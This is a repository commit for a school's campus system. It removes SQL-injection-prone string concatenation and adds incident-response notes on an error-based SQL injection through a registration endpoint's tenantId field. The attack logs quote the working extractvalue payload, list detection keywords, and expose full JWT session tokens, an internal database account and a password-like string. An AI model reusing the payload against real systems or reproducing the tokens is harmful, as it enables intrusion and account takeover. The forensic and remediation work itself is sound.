" ${extraCondition}",
" ${regionCondition}",
"GROUP BY",
" ei.province_code, ei.province_name",
"ORDER BY",
@@ -249,9 +237,7 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus<ZsjyEnrollmentI
})
List<ZsjyEnrollmentStatisticsResultVo> statisticsByRegion(
@Param("startDate") Date startDate,
@Param("endDate") Date endDate,
@Param("extraCondition") String extraCondition,
@Param("regionCondition") String regionCondition);
@Param("endDate") Date endDate);
/**
* 按性别统计报名录取信息
@@ -272,8 +258,6 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus<ZsjyEnrollmentI
"WHERE",
" ei.create_time BETWEEN #{startDate} AND #{endDate}",
" AND ei.deleted = 0",
" ${extraCondition}",
" ${genderCondition}",
"GROUP BY",
" ei.gender",
"ORDER BY",
@@ -282,9 +266,7 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus<ZsjyEnrollmentI
})
List<ZsjyEnrollmentStatisticsResultVo> statisticsByGender(
@Param("startDate") Date startDate,
@Param("endDate") Date endDate,
@Param("extraCondition") String extraCondition,
@Param("genderCondition") String genderCondition);
@Param("endDate") Date endDate);
/**
* 按状态统计报名录取信息
@@ -315,8 +297,6 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus<ZsjyEnrollmentI
"WHERE",
" ei.create_time BETWEEN #{startDate} AND #{endDate}",
" AND ei.deleted = 0",
" ${extraCondition}",
" ${statusCondition}",
"GROUP BY",
" ep.current_status",
"ORDER BY",
@@ -325,9 +305,7 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus<ZsjyEnrollmentI
})
List<ZsjyEnrollmentStatisticsResultVo> statisticsByStatus(
@Param("startDate") Date startDate,
@Param("endDate") Date endDate,
@Param("extraCondition") String extraCondition,
@Param("statusCondition") String statusCondition);
@Param("endDate") Date endDate);
/**
* 获取报名录取汇总统计
@@ -347,12 +325,10 @@ public interface ZsjyEnrollmentInfoMapper extends BaseMapperPlus<ZsjyEnrollmentI
"WHERE",
" ei.create_time BETWEEN #{startDate} AND #{endDate}",
" AND ei.deleted = 0",
" ${extraCondition}"
})
Map<String, Object> getEnrollmentSummary(
@Param("startDate") Date startDate,
@Param("endDate") Date endDate,
@Param("extraCondition") String extraCondition);
@Param("endDate") Date endDate);
/**
* 根据身份证号查询报名信息
web/src/views/xg/xsjcxx/studentStatusChange/index.vue
+7 -7
View File
@@ -180,7 +180,7 @@ const selectedRows = ref<XgStudentStatusChangeVo[]>([]);
const single = ref(true);
const multiple = ref(true);
const total = ref(0);
const dateRange = ref<[string, string]>(['', '']);
const dateRange = ref<[string, string] | undefined>(undefined);
const showSearch = ref(true);
// 分页参数
@@ -262,13 +262,13 @@ const handleQuery = () => {
/** 重置按钮操作 */
const resetQuery = () => {
dateRange.value = ['', ''];
proxy?.resetForm(queryFormRef.value);
dateRange.value = undefined;
queryFormRef.value?.resetFields();
queryParams.pageNum = 1;
queryParams.studentNo = '';
queryParams.changeType = '';
queryParams.processStatus = null;
queryParams.operatorName = '';
queryParams.studentNo = undefined;
queryParams.changeType = undefined;
queryParams.processStatus = undefined;
queryParams.operatorName = undefined;
handleQuery();
};
问题整改/SQL注入攻击日志摘录-20260916.md
+172
View File
@@ -0,0 +1,172 @@
# SQL 注入攻击日志摘录（对应攻防演练报告）
> 来源日志包：`问题整改/日志.rar`
> 对照报告：`问题整改/杭州第一技师学院智慧校园系统存在SQL注入漏洞（补充成果）.docx`
> 整理日期：2026-09-17
---
## 1. 结论
在客户提供的 `日志.rar` 中，**已定位到与 Word 报告完全吻合的 SQL 注入攻击痕迹**。
核心对应关系：
| Word 报告描述 | 日志证据 |
|---------------|----------|
| 入口 `POST /prod-api/auth/register` | 大量 `请求地址'/auth/register',发生未知异常` |
| `tenantId` 注入进 SQL | `sys_config ... AND tenant_id = '000000' AND extractvalue(...)` |
| 报错型注入 `extractvalue` / XPATH | `java.sql.SQLException: XPATH syntax error: '~...'` |
| 落点 `SysConfigMapper` | `The error may exist in org/dromara/system/mapper/SysConfigMapper.java` |
| 泄露 `root@172.16.0.68` | `XPATH syntax error: '~root@172.16.0.68'`（约 200 次） |
| 查注册开关触发 | 参数 `sys.account.registerUser` |
| 拖库用户/配置 | 报错片段中出现表字段、时间戳、BCrypt 哈希分片等 |
**主证据文件（推荐引用）：**
- `日志/ruoyi-admin-68-9901.log`（节点 68，体量最大、攻击痕迹最完整）
- 同内容副本：`日志/68/ruoyi-admin-68-9901.log`
---
## 2. 日志包结构说明
`日志.rar` 解压后主要包含双机节点日志：
| 目录 | 说明 |
|------|------|
| `日志/67/` | 节点 67 应用/系统日志 |
| `日志/68/` | 节点 68 应用/系统日志 |
| `日志/*.log` | 根目录另有一份拷贝（与 67/68 有重叠） |
攻击相关命中主要集中在 **68 节点** 的 `ruoyi-admin-68-9901.log`。
---
## 3. 攻击时间线（基于主日志）
主日志：`ruoyi-admin-68-9901.log`
| 统计项 | 数值 |
|--------|------|
| `XPATH syntax error` | **42230** 次 |
| `extractvalue` | **16726** 次 |
| `/auth/register` 异常 | **8644** 次 |
| `SysConfigMapper` | **8540** 次 |
| `root@172.16.0.68` 泄露 | **200** 次 |
| 参数 `sys.account.registerUser` | **8747** 次 |
| 首次 XPATH 关联时间 | **2026-09-16 10:43:25** |
| 末次 XPATH 关联时间 | **2026-09-16 23:36:48** |
按小时分布（XPATH 相关）：
| 时段 | 相对强度 |
|------|----------|
| 10 时 | 少量探测 |
| 14 时 | 明确命中（含 `root@`、版本探测） |
| **15 时** | **高峰（约 3.1 万行级）** |
| 16 时 | 仍高强度 |
| 17 / 21 / 22 / 23 时 | 持续/回扫 |
与报告截图高度吻合的关键时刻示例：
- **2026-09-16 14:49:32**：`/auth/register` + `extractvalue(SELECT version())` → `~5.7.39-log`
- **2026-09-16 14:50:08**：`/auth/register` + `extractvalue(SELECT user())` → `~root@172.16.0.68`
---
## 4. 关键证据摘录（与报告逐条对应）
### 4.1 攻击入口：注册接口
```text
请求地址'/auth/register',发生未知异常.
```
（同秒内连续多次，符合自动化注入工具特征）
### 4.2 注入点：tenant_id 拼进 sys_config 查询
```text
==> Preparing: SELECT config_id, config_name, config_key, config_value, ...
FROM sys_config
WHERE (config_key = ?)
AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT user()))) AND '1'='1'
==> Parameters: sys.account.registerUser(String)
```
说明：注册流程先查“是否开启注册”，恶意 `tenantId` 被多租户插件拼进 SQL，从而触发注入。
### 4.3 报错栈落点：SysConfigMapper
```text
### The error may exist in org/dromara/system/mapper/SysConfigMapper.java (best guess)
### Cause: java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
```
### 4.4 与报告完全一致的库账号泄露
```text
java.sql.SQLException: XPATH syntax error: '~root@172.16.0.68'
```
### 4.5 信息探测与拖数痕迹（报错回显）
XPATH 回显片段（日志统计 Top）可见攻击者在逐步抽取元数据/业务数据，例如：
| 回显片段（截断） | 含义（推断） |
|------------------|--------------|
| `~5.7.39-log` | MySQL 版本 |
| `~root@172.16.0.68` | 当前数据库用户 |
| `~tenant_id` / `~create_time` / `~create_by` 等 | 表字段枚举 |
| `~2025-12-23 13:1...` | 用户创建时间等数据分片 |
| `~$2a$10$...` | 密码哈希分片（敏感） |
另有 SQL 探测 `information_schema` / `table_schema='hzdyjs_xg'` 的记录，表明已进入库表枚举阶段。
> 完整敏感哈希与用户明细不在正文展开；原始摘录见同目录附件。
---
## 5. 典型攻击链路（日志还原）
```text
POST /auth/register
→ selectRegisterEnabled(tenantId) // 参数含恶意 tenantId
→ 查询 sys_config(config_key=sys.account.registerUser)
→ 多租户插件拼接: AND tenant_id = '<恶意内容>'
→ extractvalue(...) 报错回显
→ 泄露 version / user() / database / 表字段 / 业务数据分片
```
该链路与 Word 报告 Burp 截图、成果描述（root 权限判定、用户数据拖取、初始密码配置等）一致。
---
## 6. 附件清单（本目录）
目录：`问题整改/攻击日志摘录/`
| 文件 | 内容 |
|------|------|
| `stats.txt` | 主日志命中统计与时间分布 |
| `primary-xpath-context.txt` | 首批 XPATH 上下文（含 register + root） |
| `primary-extract-sql-samples.txt` | 被注入的 SQL 样本 |
| `primary-register-hits.txt` | `/auth/register` 异常样本 |
| `primary-root-leaks.txt` | `root@172.16.0.68` 泄露样本 |
| `primary-sysconfig-hits.txt` | SysConfigMapper 报错样本 |
| `evidence-block-auth-register-root.txt` | 连续证据块（从版本探测到 root 泄露） |
---
## 7. 处置建议（日志侧）
1. 将本摘录作为攻防复盘/整改验收附件归档。
2. 代码侧已完成 `tenantId` 白名单与注册接口加固后，需在**生产发布**后再做一次同类关键字复查（应不再出现 `extractvalue`/`XPATH`/`tenant_id = '...extractvalue`）。
3. 因日志显示存在密码哈希分片外泄痕迹，建议同步：**强制相关账号改密、轮换初始密码与第三方密钥、审计异常登录**。
---
## 8. 一句话结论
**客户日志可证实：2026-09-16 当日存在针对 `/auth/register` + `tenantId` 的报错型 SQL 注入，成功回显 `root@172.16.0.68`，并持续拖取库表元数据与业务数据；与 Word 补充成果报告一致。**
问题整改/SQL注入攻击日志核查说明-20260916.md
+104
View File
@@ -0,0 +1,104 @@
# SQL 注入攻击相关日志核查说明（2026-09-16）
## 1. 核查结论（重要）
### 1.1 后续补充（已完成）
客户另提供 `问题整改/日志.rar` 后，已成功定位与 Word 报告一致的攻击日志。
正式摘录文档见：
- `问题整改/SQL注入攻击日志摘录-20260916.md`
- 附件目录：`问题整改/攻击日志摘录/`
### 1.2 关于 `20260916.zip`（早期误传包）
对客户提供的 `问题整改/20260916.zip` 完成解压与内容核查后：
**该压缩包中未发现系统运行日志（如 `sys-error.log` / `sys-info.log` / `sys-console.log` / Nginx access/error 等），因此无法从该包中提取与 Word 报告对应的攻击日志原文。**
### 压缩包实际内容
| 路径 | 大小约 | 说明 |
|------|--------|------|
| `20260916/ruoyi-admin.jar` | ~159MB | 后端可执行包（部署产物，不是日志） |
| `20260916/dist/build/h5/` | 若干静态资源 | 移动端 H5 前端构建产物 |
| 其它 | — | `.DS_Store`、`__MACOSX` 等无关文件 |
**结论：当前 zip 更像是 2026-09-16 的部署备份包，而不是“昨天的系统日志”。**
---
## 2. Word 报告中的攻击特征（用于后续在真实日志中检索）
依据 `杭州第一技师学院智慧校园系统存在SQL注入漏洞（补充成果）.docx`：
| 项 | 内容 |
|----|------|
| 检测日期 | 2026-09-16 |
| 入口站点 | `http://ykt.hzdyjsxy.cn:18081/#/`（mobile H5） |
| 攻击接口 | `POST /prod-api/auth/register`（报告截图为 `/prod-api/auth//register`） |
| 注入参数 | JSON 字段 `tenantId` |
| 注入手法 | 基于报错的 `extractvalue`（XPATH syntax error） |
| 泄露信息 | 数据库账号形如 `root@172.16.0.68`；拖取 `sys_config`、`sys_user`（报告称 16278 条）等 |
| 关联代码路径（报错栈） | `SysConfigMapper` / 多租户 `tenant_id` 条件拼接 |
---
## 3. 建议向客户补要的真实日志
请客户提供 **2026-09-16**（建议覆盖全天，至少渗透时段）以下文件之一或打包：
1. 后端应用日志目录（典型路径）
- `logs/sys-error.log`
- `logs/sys-info.log` / `logs/sys-console.log`
- 若按日滚动：`sys-error.2026-09-16.log` 等
2. 反向代理访问日志
- Nginx：`access.log` / `error.log`（含 `/prod-api/auth/register` 请求）
3. 如有 WAF / 网关日志，一并提供
### 建议检索关键字（拿到真实日志后）
```text
/auth/register
tenantId
extractvalue
updatexml
XPATH syntax error
SysConfigMapper
tenant_id
java.sql.SQLException
root@
sys_config
sys_user
```
命中后应重点保留：时间、来源 IP、请求 URI、异常堆栈、是否返回 500、是否伴随大量异常 SQL。
---
## 4. 与本仓库整改的对应关系
本仓库已完成针对该漏洞的代码加固（详见同目录其它说明）：
- `tenantId` 格式白名单（sink）
- `/auth/register` 先校验租户再查注册开关
- 删除心理咨询 debug 任意 SQL 接口
- 清理其它高危手写拼接 SQL（P0/P1/单点 LIMIT）
**在真实攻击日志到位后，可再补一版《攻击日志摘录》附录，把命中行按时间线附入本文。**
---
## 5. 下一步
请客户重新提供 **含 2026-09-16 运行日志的压缩包**（或直接给 `logs/` 目录）。收到后可继续：
1. 按上述关键字自动检索并摘录
2. 形成独立《SQL注入攻击日志摘录》文档（含时间线、源 IP、异常片段）
3. 与 Word 报告截图逐条对照
---
*文档生成时间：2026-09-17*
*核查对象：`问题整改/20260916.zip` + Word 渗透补充成果*
问题整改/SQL注入漏洞整改说明-tenantId.md
+22
View File
@@ -0,0 +1,22 @@
# SQL 注入漏洞整改说明（tenantId）
## 背景
攻防演练报告指出智慧校园（mobile H5：`ykt.hzdyjsxy.cn:18081/#/`）存在 SQL 注入，可拖取 `sys_user` / `sys_config` 等数据。
实际利用入口为后端免登接口 `POST /prod-api/auth/register` 的 `tenantId` 字段，经多租户插件拼入 SQL（与 RuoYi-Vue-Plus XVE-2026-50962 同类问题）。
## 整改内容（2026-09-17）
| # | 措施 | 改动位置 |
|---|------|----------|
| 1 | sink 白名单：租户 ID 仅允许 `^[0-9]{1,20}$`，非法直接抛错，不拼 SQL | `PlusTenantLineHandler`、`TenantHelper.checkTenantIdFormat` |
| 2 | 注册接口先 `checkTenant`，再查注册开关 | `AuthController.register` |
| 3 | 所有 `TenantHelper.dynamic/setDynamic` 入口统一格式校验；登录 `checkTenant` 增加格式校验 | `TenantHelper`、`SysLoginService.checkTenant` |
| 4 | 删除心理咨询调试任意 SQL 接口 | 删除 `XljkConsultationDebugController` |
## 发布注意
- 需重新编译并发布 **backend** 后生效；仅发 mobile 前端无效。
- 建议同步轮换初始密码、微信 AppSecret，并审计异常访问。
- 生产环境确认 `sys.account.registerUser=false`（关闭开放注册）。
问题整改/手写拼接SQL风险范围清单.md
+26
View File
@@ -0,0 +1,26 @@
# 手写/拼接 SQL 风险范围清单
> 梳理日期：2026-09-17
> 更新：同日已完成 **P0 / P1 / 单点 LIMIT** 修复；**全局 orderBy 列白名单暂不改**。
## 已修复（本次）
| 原优先级 | 项 | 处理 |
|----------|----|------|
| P0 | `RsSystemMapper` `${sql}` + `SqlUpdateController` + `SqlScriptRunner` + `DbInitializer` | 已删除 |
| P0 | 招生 `ZsjyEnrollmentInfoMapper` `${*Condition}` | 已去掉 `${}` 条件参数；VO 删除 `extraCondition` |
| P1 | 宿舍 `managerType` 字符串拼接 | 已改为 JDBC `?` |
| P2 | 学生搜索 `LIMIT + limit` | 已改为 `Page` 安全分页 |
| P2 | bucket 访问记录 LIMIT | 已改为 `Page` 安全分页 |
| P2 | 违纪 `limit ${(pageNum-1)*pageSize}` | 已改为 `#{offset}`/`#{pageSize}`，Service 计算 offset |
| P2 | 心理咨询详情 Long 拼接 | 已改为 `?` 占位 |
另：`tenantId` 注入、debug 任意 SQL 接口此前已修。
## 暂不改造
| 级 | 项 | 说明 |
|----|----|------|
| P2 | 全局 `PageQuery.orderByColumn` | 现有正则已基本挡住经典注入；列名白名单属加固，影响面大 |
| P3 | 会话 userId/deptId 的 `exists`/`inSql` | 面窄，可后续顺手改 |
| P3 | 其它已用 `?` 的手写 JdbcTemplate | 维护面问题，非紧急注入 |
问题整改/攻击日志摘录/analysis_summary.txt
+48
View File
@@ -0,0 +1,48 @@
TOTAL_MATCH_LINES 182130
DAY_2026_09_16_MATCHES 168
COUNT_extractvalue 8
COUNT_updatexml 0
COUNT_XPATH 160
COUNT_register 0
COUNT_SysConfigMapper 0
COUNT_root@ 0
TIME_FIRST None
TIME_LAST None
TOP_FILES
80 /tmp/logs_20260916/日志/ruoyi-admin-68-9901.log
80 /tmp/logs_20260916/日志/68/ruoyi-admin-68-9901.log
4 /tmp/logs_20260916/日志/ruoyi-admin-68-9903.log
4 /tmp/logs_20260916/日志/68/ruoyi-admin-68-9903.log
ROOT_LEAKS []
WROTE /Users/wuzilong/work/00code/hzdyjs_xg/问题整改/攻击日志摘录/excerpts-xpath.txt rows 25 of 160
WROTE /Users/wuzilong/work/00code/hzdyjs_xg/问题整改/攻击日志摘录/excerpts-register.txt rows 0 of 0
WROTE /Users/wuzilong/work/00code/hzdyjs_xg/问题整改/攻击日志摘录/excerpts-root-leak.txt rows 0 of 0
FILE_SIZE /tmp/logs_20260916/日志/68/sys-error.2026-09-16.log 113485
FILE_HEAD sys-error.2026-09-16.log
2026-09-17 01:22:54 [XNIO-1 task-7] ERROR o.d.c.s.h.SaTokenExceptionHandler - 请求地址'/studentMsg/studentMsg/personalInfo',认证失败'token 无效：eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpblR5cGUiOiJsb2dpbiIsImxvZ2luSWQiOiJzeXNfdXNlcjoyMDg5NTQxMjI0OTQ5MTAwNTQ1Iiwicm5TdHIiOiIxZXp1b2tmNTNSdTBsaTBCUUxTV2dGeHFDUVNsamxucSIsImNsaWVudGlkIjoiZTVjZDdlNDg5MWJmOTVkMWQxOTIwNmNlMjRhN2IzMmUiLCJ0ZW5hbnRJZCI6IjAwMDAwMCIsInVzZXJJZCI6MjA4OTU0MTIyNDk0OTEwMDU0NSwidXNlck5hbWUiOiIyMDI2MDIwMzIwNTUiLCJkZXB0SWQiOjIwODk1MzUzMjEzNzgxNDAxNjEsImRlcHROYW1lIjoi55S15rCUMjYxIiwiZGVwdENhdGVnb3J5IjoiYmot55S15rCUMjYxIiwibmlja05hbWUiOiLlvKDln47lrocifQ.h0aBajg5T_SkY8Z9pEK6GzUHcZuLUPkltO2cCo8Z45Q',无法访问系统资源
2026-09-17 01:22:54 [XNIO-1 task-3] ERROR o.d.c.s.h.SaTokenExceptionHandler - 请求地址'/xgss/dormBuildingTree/listAll',认证失败'未能读取到有效 token',无法访问系统资源
2026-09-17 01:22:55 [XNIO-1 task-2] ERROR o.d.c.s.h.SaTokenExceptionHandler - 请求地址'/system/SysRegion/tree',认证失败'未能读取到有效 token',无法访问系统资源
2026-09-17 06:49:40 [XNIO-1 task-2] ERROR o.d.c.w.h.GlobalExceptionHandler - 密码输入错误1次
2026-09-17 07:09:49 [XNIO-1 task-2] ERROR o.d.c.s.h.SaTokenExceptionHandler - 请求地址'/resource/oss/listByIds/1994610252481355777',认证失败'token 已被冻结：eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpblR5cGUiOiJsb2dpbiIsImxvZ2luSWQiOiJzeXNfdXNlcjoyMDI1MTIyMzE4MTAxNDEwMzQwIiwicm5TdHIiOiJYaHhIa3NHQlNpcTZEMEhZT2xkZXRUV2dEeXRub20zOSIsImNsaWVudGlkIjoiZTVjZDdlNDg5MWJmOTVkMWQxOTIwNmNlMjRhN2IzMmUiLCJ0ZW5hbnRJZCI6IjAwMDAwMCIsInVzZXJJZCI6MjAyNTEyMjMxODEwMTQxMDM0MCwidXNlck5hbWUiOiIyMDIzMDQzOTMwNDIiLCJkZXB0SWQiOjIwMjUxMjIzMTQwOTA5MDEwNiwiZGVwdE5hbWUiOiLml6DkurrmnLoyMzEiLCJkZXB0Q2F0ZWdvcnkiOiJiai0yMDIzMDAyIiwibmlja05hbWUiOiLoooHlsJHnv7AifQ.iNTwJ0G4LE9lzmZihsfVaw4dTAebdc5EKe5S169eZvg',无法访问系统资源
2026-09-17 07:11:23 [XNIO-1 task-2] ERROR o.d.c.w.h.GlobalExceptionHandler - 请求地址'/resource/oss/upload',发生未知异常.
org.dromara.common.oss.exception.OssException: 文件存储服务类型无法找到!
at org.dromara.common.oss.factory.OssFactory.instance(OssFactory.java:36)
at org.dromara.system.service.impl.SysOssServiceImpl.upload(SysOssServiceImpl.java:283)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:359)
---FILE_END_HEAD---
FILE_SIZE /tmp/logs_20260916/日志/67/sys-error.2026-09-16.log 6726
FILE_HEAD sys-error.2026-09-16.log
2026-09-17 06:51:27 [XNIO-1 task-5] ERROR o.d.c.w.h.GlobalExceptionHandler - 对不起, 您的账号：Hzdyjsxs123456!@# 不存在.
2026-09-17 06:51:29 [XNIO-1 task-5] ERROR o.d.c.w.h.GlobalExceptionHandler - 对不起, 您的账号：Hzdyjsxs123456!@# 不存在.
2026-09-17 06:51:30 [XNIO-1 task-5] ERROR o.d.c.w.h.GlobalExceptionHandler - 对不起, 您的账号：Hzdyjsxs123456!@# 不存在.
2026-09-17 06:54:26 [XNIO-1 task-5] ERROR o.d.c.s.h.SaTokenExceptionHandler - 请求地址'/resource/oss/listByIds/1994610252481355777',认证失败'token 已被冻结：eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpblR5cGUiOiJsb2dpbiIsImxvZ2luSWQiOiJzeXNfdXNlcjoyMDI1MTIyMzE4MTAxNDEwODg4Iiwicm5TdHIiOiJFTFhSWjNNT09PSlVJWVk2d3lZOFBCSk9oanlBRmZ6USIsImNsaWVudGlkIjoiZTVjZDdlNDg5MWJmOTVkMWQxOTIwNmNlMjRhN2IzMmUiLCJ0ZW5hbnRJZCI6IjAwMDAwMCIsInVzZXJJZCI6MjAyNTEyMjMxODEwMTQxMDg4OCwidXNlck5hbWUiOiIyMDIzMDcxMTMwNDAiLCJkZXB0SWQiOjIwMjUxMjIzMTQwOTA5MDQ0OCwiZGVwdE5hbWUiOiLlm63mnpflt6XnqIsyMzEiLCJkZXB0Q2F0ZWdvcnkiOiJiai0yMDIzMDE0Iiwibmlja05hbWUiOiLlupTlpZXokLEifQ.vQAIqY-m7edMQpJ48ccpYHIh_hrAkKtgOLI5-4YnNrE',无法访问系统资源
2026-09-17 07:04:00 [XNIO-1 task-7] ERROR o.d.c.s.h.SaTokenExceptionHandler - 请求地址'/resource/oss/listByIds/1994610252481355777',认证失败'token 已被冻结：eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpblR5cGUiOiJsb2dpbiIsImxvZ2luSWQiOiJzeXNfdXNlcjoyMDI1MTIyMzE4MTAxNDEwMTU5Iiwicm5TdHIiOiJEZnZqUW5xdXNqNzU1aDVrZU8xOXB3VERHbkw0d0M0SyIsImNsaWVudGlkIjoiZTVjZDdlNDg5MWJmOTVkMWQxOTIwNmNlMjRhN2IzMmUiLCJ0ZW5hbnRJZCI6IjAwMDAwMCIsInVzZXJJZCI6MjAyNTEyMjMxODEwMTQxMDE1OSwidXNlck5hbWUiOiIyMDIzMDIwMzIwMjgiLCJkZXB0SWQiOjIwMjUxMjIzMTQwOTA5MDA1NCwiZGVwdE5hbWUiOiLnlLXmsJQyMzEiLCJkZXB0Q2F0ZWdvcnkiOiJiai0yMDIzMDAxIiwibmlja05hbWUiOiLlr7_lrrbnq4sifQ.e8IF_NjJCCwbuSCYI6rHJUWG2gqph4afmrIe7pQJXSw',无法访问系统资源
2026-09-17 07:29:41 [XNIO-1 task-5] ERROR o.d.c.w.h.GlobalExceptionHandler - 对不起, 您的账号：20260137007 不存在.
2026-09-17 07:31:50 [XNIO-1 task-5] ERROR o.d.c.s.h.SaTokenExceptionHandler - 请求地址'/resource/oss/listByIds/1994610252481355777',认证失败'token 已被冻结：eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpblR5cGUiOiJsb2dpbiIsImxvZ2luSWQiOiJzeXNfdXNlcjoxNDYiLCJyblN0ciI6InZIdmxGVTZuR0pLU25tdmNaeGtPalB2YVBSS0pKRFFRIiwiY2xpZW50aWQiOiJlNWNkN2U0ODkxYmY5NWQxZDE5MjA2Y2UyNGE3YjMyZSIsInRlbmFudElkIjoiMDAwMDAwIiwidXNlcklkIjoxNDYsInVzZXJOYW1lIjoiMTkyNzU3NDEwMDMiLCJkZXB0SWQiOjIwMjUxMjIzMTMwNzE3MDAyMiwiZGVwdE5hbWUiOiLppJDppa7kvJHpl7LlrabpmaIiLCJkZXB0Q2F0ZWdvcnkiOiJ4eS0xOCIsIm5pY2tOYW1lIjoi6YKs5amV5oWnIn0.NK6MSCbs5L_hptULfIZEYFfF9Hm-uD9eJ7qLt26AVQg',无法访问系统资源
2026-09-17 07:43:16 [XNIO-1 task-6] ERROR o.d.c.s.h.SaTokenExceptionHandler
---FILE_END_HEAD---
问题整改/攻击日志摘录/evidence-block-auth-register-root.txt
+611
View File
@@ -0,0 +1,611 @@
2026-09-16 14:49:14 [XNIO-1 task-2] ERROR o.d.c.w.h.GlobalExceptionHandler
 - 对不起, 您的租户不存在，请联系管理员
2026-09-16 14:49:23 [XNIO-1 task-2] ERROR o.d.c.w.h.GlobalExceptionHandler
 - 对不起, 您的租户不存在，请联系管理员
Creating a new SqlSession
SqlSession [org.apache.ibatis.session.defaults.DefaultSqlSession@78067be3] was not registered for synchronization because synchronization is not active
JDBC Connection [HikariProxyConnection@214714929 wrapping com.mysql.cj.jdbc.ConnectionImpl@e9301dc] will not be managed by Spring
==> Preparing: SELECT config_id, config_name, config_key, config_value, config_type, remark, tenant_id, create_dept, create_by, create_time, update_by, update_time FROM sys_config WHERE (config_key = ?) AND tenant_id = '000000' AND extractvalue(1,concat(0x7e,(SELECT version()))) AND '1'='1'
==> Parameters: sys.account.registerUser(String)
2026-09-16 14:49:32 [XNIO-1 task-2] WARN  c.zaxxer.hikari.pool.ProxyConnection
 - master - Connection com.mysql.cj.jdbc.ConnectionImpl@e9301dc marked as broken because of SQLSTATE(HY000), ErrorCode(1105)
java.sql.SQLException: XPATH syntax error: '~5.7.39-log'
at com.mysql.cj.jdbc.exceptions.SQLError.createSQLException(SQLError.java:121)
at com.mysql.cj.jdbc.exceptions.SQLExceptionsMapping.translateException(SQLExceptionsMapping.java:114)
at com.mysql.cj.jdbc.ClientPreparedStatement.executeInternal(ClientPreparedStatement.java:988)
at com.mysql.cj.jdbc.ClientPreparedStatement.execute(ClientPreparedStatement.java:382)
at com.zaxxer.hikari.pool.ProxyPreparedStatement.execute(ProxyPreparedStatement.java:44)
at com.zaxxer.hikari.pool.HikariProxyPreparedStatement.execute(HikariProxyPreparedStatement.java)
at jdk.internal.reflect.GeneratedMethodAccessor48.invoke(Unknown Source)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at org.apache.ibatis.logging.jdbc.PreparedStatementLogger.invoke(PreparedStatementLogger.java:58)
at jdk.proxy3/jdk.proxy3.$Proxy426.execute(Unknown Source)
at org.apache.ibatis.executor.statement.PreparedStatementHandler.query(PreparedStatementHandler.java:65)
at org.apache.ibatis.executor.statement.RoutingStatementHandler.query(RoutingStatementHandler.java:80)
at jdk.internal.reflect.GeneratedMethodAccessor53.invoke(Unknown Source)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at org.apache.ibatis.plugin.Plugin.invoke(Plugin.java:61)
at jdk.proxy2/jdk.proxy2.$Proxy424.query(Unknown Source)
at org.apache.ibatis.executor.SimpleExecutor.doQuery(SimpleExecutor.java:65)
at org.apache.ibatis.executor.BaseExecutor.queryFromDatabase(BaseExecutor.java:336)
at org.apache.ibatis.executor.BaseExecutor.query(BaseExecutor.java:158)
at org.apache.ibatis.executor.CachingExecutor.query(CachingExecutor.java:110)
at com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor.intercept(MybatisPlusInterceptor.java:81)
at org.apache.ibatis.plugin.Plugin.invoke(Plugin.java:59)
at jdk.proxy2/jdk.proxy2.$Proxy423.query(Unknown Source)
at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:154)
at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:147)
at org.apache.ibatis.session.defaults.DefaultSqlSession.selectList(DefaultSqlSession.java:142)
at jdk.internal.reflect.GeneratedMethodAccessor63.invoke(Unknown Source)
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.base/java.lang.reflect.Method.invoke(Method.java:569)
at org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke(SqlSessionTemplate.java:333)
at jdk.proxy2/jdk.proxy2.$Proxy156.selectList(Unknown Source)
at org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:194)
at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.executeForMany(MybatisMapperMethod.java:164)
at com.baomidou.mybatisplus.core.override.MybatisMapperMethod.execute(MybatisMapperMethod.java:77)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$PlainMethodInvoker.invoke(MybatisMapperProxy.java:156)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93)
at jdk.proxy2/jdk.proxy2.$Proxy176.selectList(Unknown Source)
at com.baomidou.mybatisplus.core.mapper.BaseMapper.selectOne(BaseMapper.java:332)
at java.base/java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:732)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy$DefaultMethodInvoker.invoke(MybatisMapperProxy.java:172)
at com.baomidou.mybatisplus.core.override.MybatisMapperProxy.invoke(MybatisMapperProxy.java:93)
at jdk.proxy2/jdk.proxy2.$Proxy176.selectOne(Unknown Source)
at com.baomidou.mybatisplus.core.mapper.BaseMapper.selectOne(BaseMapper.java:321)
at java.base/java.lang.invoke.MethodHandle.invokeWithArguments(MethodHandle.java:732)
